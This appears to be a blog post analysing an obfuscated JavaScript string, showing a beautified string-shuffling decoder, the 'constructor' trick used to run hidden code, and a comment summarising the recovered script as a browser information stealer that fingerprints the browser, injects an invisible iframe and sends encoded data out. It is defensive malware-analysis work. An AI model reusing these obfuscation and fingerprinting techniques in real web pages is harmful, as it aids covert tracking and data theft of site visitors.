JavaScript String Deobfuscation

Posted by

A little while ago, I came across an obfuscated string which I knew was an input to a JS file. I did not know the deobfuscation algorithm, the JS file or information on what the string could represent. Essentially, all I had was the obfuscated string. In this article, I describe my method for deobfuscating the said string.

The above string is obfuscated JS. In general, JS obfuscation is a combination of identifier renaming, adding useless code and weird looking symbols, reordering functions and essentially, making it look useless. However, if you execute obfuscated JS code in a browser console, it would run perfectly fine!

Beautification

The above obfuscated JS string can be beautified as follows:

function() {
    function W(W) {
        for (var e = 3810997, P = W.length, f = [], n = 0; n < P; n++) f[n] = W.charAt(n);

Removing Redundant Code

In the above JS code, we have the following relevant expressions:

  • function W() that takes a string W as input,
  • Assigning a function to P through the statement P=W[e]
  • P("", P("", W(<obfuscatedString1>))(W(<obfuscatedString2>)))(3597)

Since we know function W(), we can use an online JS editor to determine the value of variables that depend on the output of function W(). In the above code, the value of variable e is 'constructor'. So, variable P contains a constructor function. Similarly, we can also find the value of expressions, W(<obfuscatedString1>) and W(<obfuscatedString2>). After executing the expression, P("", W(<obfuscatedString1>))(W(<obfuscatedString2>)), the resultant code is:

function() {
    function W(W) {
        for (var e = 3810997, P = W.length, f = [], n = 0; n < P; n++) f[n] = W.charAt(n);
        for (var n = 0; n < P; n++) {
            var r = e * (n + 305) + e % 48638,
                t = e * (n + 158) + e % 31757,
                i = r % P,
                j = t % P,
                _ = f[i];
            f[i] = f[j], f[j] = _, e = (r + t) % 6701531
        }
        return f.join("")
    }

    P = W['constructor'];

Cleaning

At this point, I began cleaning the obfuscated string (say, X) that is the second argument of P() call. The value 3597 is an argument to X and there is no other use for function W() and variable, P. So, I’ve removed that code from the final cleaned version. Also, in order to make the code more readable and intuitive, I initialized the following variables based on their usage in the script:

globalVar1 = 0
mljpj = {'cid': 0}
wef = {}
globalVar2 = 1
/*
Purpose: Browser information stealer
Tactic: 
    1. Retrieves the following information:
        a. browser vendor (Ex: Google, Inc) and graphics renderer (Ex: Intel HD Graphics 630 Direct3D11 vs_5_0 ps_5_0)
        b. referrer webpage
        c. browser width and height
        d. number of script tags in the webpage
        e. changes made to the webpage's DOM tree
    2. Injects an invisible IFrame and counts something that I have not been able to figure out
    3. Encodes the gathered information and sends it (to a remote destination perhaps)

Thanks for reading!

In this article, I described my procedure to deobfuscate an obfuscated JS string. Personally, the highlight of this deobfuscation procedure was to recognize that the string after the first round of base64 decoding was salted with redundant characters. This JS code could be injected into web pages or delivered through malicious ads in order to steal user browser information.

Thank you for reading! If you have any questions, leave them in the comments section below and I’ll get back to you as soon as I can!
